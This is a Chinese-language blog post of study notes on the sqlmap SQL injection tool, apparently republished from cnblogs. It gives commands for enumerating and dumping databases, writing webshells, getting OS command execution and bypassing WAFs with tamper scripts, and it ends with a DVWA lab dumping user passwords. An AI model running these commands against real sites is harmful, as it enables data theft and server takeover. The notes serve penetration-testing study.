SQLMAP使用笔记
?SQLMAP 使用筆記
?? ??? ?--by Anton
0-請求注入檢測
?? ?sqlmap可以使用基于布爾(bool)、時間(time)、語句是否執行
(頁面返回時間是否增加)、報錯(error)、聯合查詢(union)、堆查詢(同時執行多條語句)
?? ?get方式 sqlmap.py -u "URL"
?? ?post方式 sqlmap.py -u "URL" --data "post數據"
?? ?cookie方式 sqlmap.py -u "URL" --cookie "cookie數據"
1-獲取數據庫信息
?? ?獲取數據庫類型及版本
?? ?獲取數據庫庫名和用戶名? ?
?? ??? ??? ?sqlmap.py -u "URL" --current-db/--current-user
2-獲取數據量和用戶權限
?? ?數據量 sqlmap.py -u "URL" --count -D "DB_name"
?? ?判斷用戶權限 sqlmap.py -u "URL" --privileges
?? ?? Microsoft SQL Server 最高權限:sa
?? ?? Mysql :root
3-Mysql數據庫注入
?? ?mysql數據庫結構
?? ?mysql注入?? ?庫名?? ?sqlmap.py -u "URL" --current-db
?? ??? ??? ??? ?表名?? ?sqlmap.py -u "URL" --tables -D "DB_name"
?? ??? ??? ??? ?列名?? ?sqlmap.py -u "URL" --columns -T "Tables_name" -D "DB_name"
?? ??? ??? ??? ?字段?? ?sqlmap.py -u "URL" --dump -C "Columns_name" -T "Tables_name" -D "DB_name"
?? ??? ??? ??? ??? ?sqlmap常用選項:
?? ??? ??? ??? ??? ?? --second-order 當web程序輸入與返回不在一處界面時,使用此參數監控另一處頁面
?? ??? ??? ??? ??? ??? ?sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs
?? ??? ??? ??? ??? ?? --tables -D “數據庫” 列舉數據庫的表名
?? ??? ??? ??? ??? ?? --columns -T “表名” -D “數據庫” 獲取表的列名
?? ??? ??? ??? ??? ?? --dump -C “字段,字段” -T “表名” -D “數據庫” 獲取表中的數據,包含列
?? ?新的數據庫注入
?? ??? ?MongoDB、NoSQL--sqlmap不支持這兩款的注入,Nosqlmap使用
?? ??? ??? ??? ?https://github.com/tcstool/nosqlmap
?? ??? ??? ??? ?
4-管理數據庫
?? ?連接數據庫?? ?sqlmap.py -d "mysql://用戶名:密碼@地址:端口/數據庫"
?? ??? ?--報錯需安裝pymysql?? ??? ?https://github.com/PyMySQL/PyMySQL
?? ??? ??? ?安裝步驟:解壓->cmd切換目錄->setup.py install
?? ?連接上使用參數:--sql-shell 進行sql執行管理
?? ??? ?sqlmap.py -d "mysql://用戶名:密碼@地址:端口/數據庫" --sql-shell
?? ??? ??? ?@@cersion--查看數據庫版本
5-延時注入
?? ?使用情況
?? ??? ?頁面無變化、無法使用布爾真假判斷、無法報錯--作為最精準的注入缺點:耗時長
?? ?如何使用
?? ??? ?--delay 數值(延時秒數) sqlmap.py -u "URL" --delay 1
?? ??? ?--safe-freq?? ??? ?sqlmap.py -u "URL" --safe-freq
?? ??? ?
6-交互式命令執行和寫webshell
?? ?初識交互式
?? ??? ?注入點用戶權限必須為最高權限
?? ?sqlmap進行命令執行(提權)
?? ??? ?sqlmap.py -u "URL" --os-cmd="命令"
?? ??? ?在使用參數交互時要知道網站的絕對路徑-盤符開始
?? ??? ?執行后0-選擇網站語言1
?? ??? ?-何種方法尋找網站絕對路徑
?? ??? ?執行命令后在網站絕對路徑下創建了文件,命令執行后自動刪除
?? ?sqlmap寫webshell and 提權
?? ??? ?sqlmap.py -u "URL" --os-shell
?? ??? ?執行后0-選擇網站語言1-何種方法尋找網站絕對路徑
?? ??? ?--關閉sqlmap自動刪除
7-Tamper腳本的介紹和使用
?? ?Whate is Tamper?
?? ??? ?sqlmap下的tamper目錄,高級sql注入測試,如繞過waf(web應用防火墻)
?? ?Tamper腳本的使用
?? ??? ?--tamper="腳本名字"
?? ??? ?sqlmap.py -u "URL" --tamper="腳本名字"
?? ??? ?sqlmap.py -u "url" --current-db? --dbms=mysql(是access就輸access) --tamper “腳本名稱(比如1.py)”
?? ?Tamper腳本的總結
?? ??? ?
8-本地寫入webshell
?? ?what is 本地寫入/如何寫入?
?? ??? ?zaisqlmap目錄下新建一個目錄mst,在該目錄下創建需上傳的文件
?? ??? ?--file-write "./mst/mst.txt"
?? ??? ??? ?本地文件的地址/路徑
?? ??? ?--file-dest "d:/www/1.html"
?? ??? ??? ?目標文件的地址/路徑
?? ??? ?sqlmap.py -u "URL" --file-write "./mst/mst.txt" --file-dest "d:/www/1.html"
?? ?
9-批量檢測注入漏洞
?? ?what is 批量?
?? ??? ?批量檢測sql注入
?? ?如何批量
?? ??? ?-m
?? ??? ?sqlmap.py -m 路徑
?? ?結合burpsuite
?? ??? ?對post、cookie、http header等檢測
?? ??? ?burpsuite記錄所有request記錄,并保存在指定文件夾
?? ??? ?sqlmap.py -l c:/burp.log --batch -smart
?? ??? ??? ?即可對burp.log中保存的所有request進行注入掃描
?? ??? ??? ?Batch:自動選擇yes
?? ??? ??? ?Smart:啟發式快速判斷,節約時間
?? ??? ??? ??? ?--level=(1-5) #要執行的測試水平等級,默認為1
?? ??? ??? ??? ??? ?sqlmap使用的payload可以在xml/payloads/中看到,參數數值影響測試的注
入點,http cookie在level為2時候會測試,http user——agent/referer頭在level為3會測試
?? ??? ??? ??? ??? ?為保證全面性,level最好設置最高
?? ??? ??? ??? ?--risk=(0-3) #測試執行的風險等級,默認為1
?? ??? ??? ??? ??? ?默認的1會測試大部分測試語句,2會增加基于事件的測試語句,3會增加OR語句的sql注入測試
?? ??? ??? ??? ??? ?#有時候,例如在Update的語句中,注入一個or的測試語句,可能會導致更新整個表,風險很大
?? ??? ??? ??? ??? ?#測試語句可xml/payloads/中找到,也可自行添加
10-Sqlmap注入
?? ?SQLMAP目錄結構
?? ??? ?doc/ --->>>該文件夾包含了SQLmap的具體使用說明,例如多種語言的簡要說明、PDF版的詳細說明、FAQ、作者信息等。
?? ??? ?extra/ -->> >這里包含了SQLmap的多種額外功能,例如發出聲響( beep).運行cmd.安全執行、shellcode等。
?? ??? ?lib/ -->>>這里包含了SQLmap的多種連接庫,如五種注入類型請求的參數、提權操作等。
?? ??? ?plugins/ -->> >這里包含了各種數據庫的信息和數據庫通用事項。
?? ??? ?procs/ -->>>這里包含了mssqlserver、mysql. Oracle和postgresql的觸發程序
?? ??? ?shell/ -->>>這里包含了多種注入成功后的多種sheli遠程連接命令執行和管理數據庫
?? ??? ?tamper/ -->>>這里包含了繞過腳本,例如編碼繞過、注釋繞過等。
?? ??? ?thirdparty/ -->>>這里包含了一些其他第三方的插件,例如優化、保持連接、顏色等。
?? ??? ?txt/ -->>>這里包含了一些字典,例如用戶瀏覽器代理、表、列、關鍵詞等。
?? ??? ?udf/ -->>>這里包含了用戶自己定義的攻擊載荷。
?? ??? ?waf/ -->>>>這里包含了一一些多種常見的防火墻特征。可以直接使用--identify-waf來進行檢測。
?? ??? ?xml/ -->>>這里包含了多種數據庫的注入檢測載荷、旗標信息以及其他信息。在這里可以看到進行注入的。
?? ?學習SQLMAP注入
?? ??? ?#xml目錄下payloads-載荷文件
?? ??? ?#-v數字
?? ??? ??? ?-v有7個等級,默認為1:
?? ??? ??? ??? ?0:只顯示python錯誤以及嚴重的信息
?? ??? ??? ??? ?1:同時顯示信息和警告信息(默認)
?? ??? ??? ??? ?2:同時顯示debug的信息
?? ??? ??? ??? ?3:同時顯示注入的payload
?? ??? ??? ??? ?4:同時顯示HTTP請求
?? ??? ??? ??? ?5:同時顯示HTTP響應頭
?? ??? ??? ??? ?6:同時顯示HTTP響應頁面
?? ??? ??? ?sqlmap.py -u "URL" --dba -v 3
?? ??? ?#結合burpsuite
?? ??? ??? ?--proxy=http://ip:port? 這里的代理服務器就是burpsuite相對監聽的
?? ??? ??? ??? ?sqlmap.py -u "URL" --proxy="http://127.0.0.1:8080"
11-實驗實訓
?? ??? ?特殊頁面sql注入
?? ??? ??? ?sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs
?? ??? ??? ?sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs -D “dvwa” --tables?進行查詢dvwa數據庫的表名
?? ??? ??? ?sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --columns -T “users” -D “dvwa”進行查詢user表中的列
?? ??? ??? ?sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dump -C “user,password” -T “users” -D “dvwa”?進行“脫褲”
?? ??? ?sql盲注漏洞
?? ??? ??? ?
?? ???? RM-Anton原創,轉載請注明。
轉載于:https://www.cnblogs.com/RM-Anton/p/9101089.html
總結
以上是生活随笔為你收集整理的SQLMAP使用笔记的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Gluster的搭建和使用
- 下一篇: 玩转MaxCompute studio